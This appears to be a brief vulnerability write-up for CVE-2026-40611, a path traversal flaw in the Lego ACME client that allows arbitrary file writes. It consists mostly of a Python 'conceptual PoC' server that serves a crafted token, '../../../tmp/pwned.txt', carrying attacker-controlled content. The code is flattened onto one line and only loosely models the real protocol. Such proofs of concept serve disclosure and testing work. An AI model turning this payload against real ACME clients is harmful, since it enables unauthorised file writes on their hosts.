CVE-2026-40611 Lego路径遍历致任意文件写入

# Conceptual PoC: Malicious ACME Server Response # This is a simulation of how the vulnerability is triggered. import http.server import socketserver import json class MaliciousACMEServer(http.server.BaseHTTPRequestHandler): def do_GET(self): # Simulating a challenge request if ".well-known/acme-challenge/" in self.path: # The crafted token containing path traversal # e.g., writing to /tmp/pwned.txt malicious_token = "../../../tmp/pwned.txt" key_authorization = "attacker_controlled_content" self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() # In a real scenario, the client would write this to the path derived from the token print(f"[+] Sending malicious token: {malicious_token}") self.wfile.write(f"{{\"token\": \"{malicious_token}\", \"keyAuthorization\": \"{key_authorization}\"}}".encode()) else: self.send_response(404) self.end_headers() if __name__ == "__main__": PORT = 8080 with socketserver.TCPServer(("", PORT), MaliciousACMEServer) as httpd: print(f"Serving malicious ACME response at port {PORT}") httpd.serve_forever() # Note: This demonstrates the concept of the crafted payload.